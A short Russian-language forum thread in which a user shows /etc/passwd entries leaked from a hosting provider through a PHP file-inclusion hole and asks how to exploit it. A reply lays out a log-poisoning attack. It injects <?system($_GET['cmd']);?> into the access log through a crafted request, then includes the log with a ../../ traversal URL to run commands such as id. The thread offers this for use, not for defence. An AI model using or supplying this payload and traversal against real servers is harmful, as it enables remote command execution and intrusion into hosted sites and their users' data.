вот с хостера robo-host.ru выводиться в таком виде пхп иньекция: подскажит как воспользоваться и что даёт этот код: dvdrec:x:32383:32384::/home/dvdrec:/bin/false dyakoff:x:32386:32387::/home/dyakoff:/usr/local/cpanel/bin/noshell egtgame:x:32388:32389::/home/egtgame:/usr/local/cpanel/bin/jailshell elektrok:x:32391:32392::/home/elektrok:/usr/local/cpanel/bin/jailshell elitmebe:x:32392:32393::/home/elitmebe:/usr/local/cpanel/bin/jailshell wapoorg:x:32393:32394::/home/wapoorg:/usr/local/cpanel/bin/noshell
ищи файл acces_log & error_log затем посылай серверу запрос: GET <?system($_GET["cmd"]);?> HTTP/1.1 HOST: site.com Затем через инклуд подключаешь найденный access_log, и выполняешь команды... www.site.com/index.php?page=../../../../../../../../logs/access_log&cmd=id правда мало шансов что проканает.... ) Видео (с)homo-sapiens
[ cash ] В той теме задавался похожий вопрос, "что можно поиметь с etc/passwd". На мой взгляд, ettee достаточно развернуто ответил на него.